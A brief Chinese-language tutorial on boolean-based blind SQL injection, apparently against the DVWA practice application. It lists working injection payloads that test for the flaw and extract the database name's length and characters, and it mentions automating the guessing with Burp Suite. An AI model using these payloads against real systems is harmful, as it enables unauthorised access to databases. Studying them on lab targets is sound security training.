SQL注入手册-布尔型盲注的实例

SQL布尔型盲注入的案例

1.1 盲注入的认识：

当传入参数时：页面没有回显，只是显示是否存在：

1.2 注入点的判断：

1‘ and ‘1’ ='1 与 1’ and ‘1’ = '2 返回界面是否一样：


不一样，说明存在布尔型漏洞：

1.3 构造攻击语句：

1‘ and if(1=1,1,0); # 如果1=1，成立，则返回1，即正常显示页面：

1’ and if(length(database())=4,1,0); #，通过这个来截取数据库名的长度，最终发现数据库名称的长度为4。
接下来截取库名字段，来获取具体的的内容：
1’ and if(substring(database(),1,1)=‘d’,1,0); #
然后与常见的数字组合去判断：
我们利用burpsuite来完成：
抓包，设置变量，配置payload,提交爆破，筛选结果：
最终得到答案 dvwa: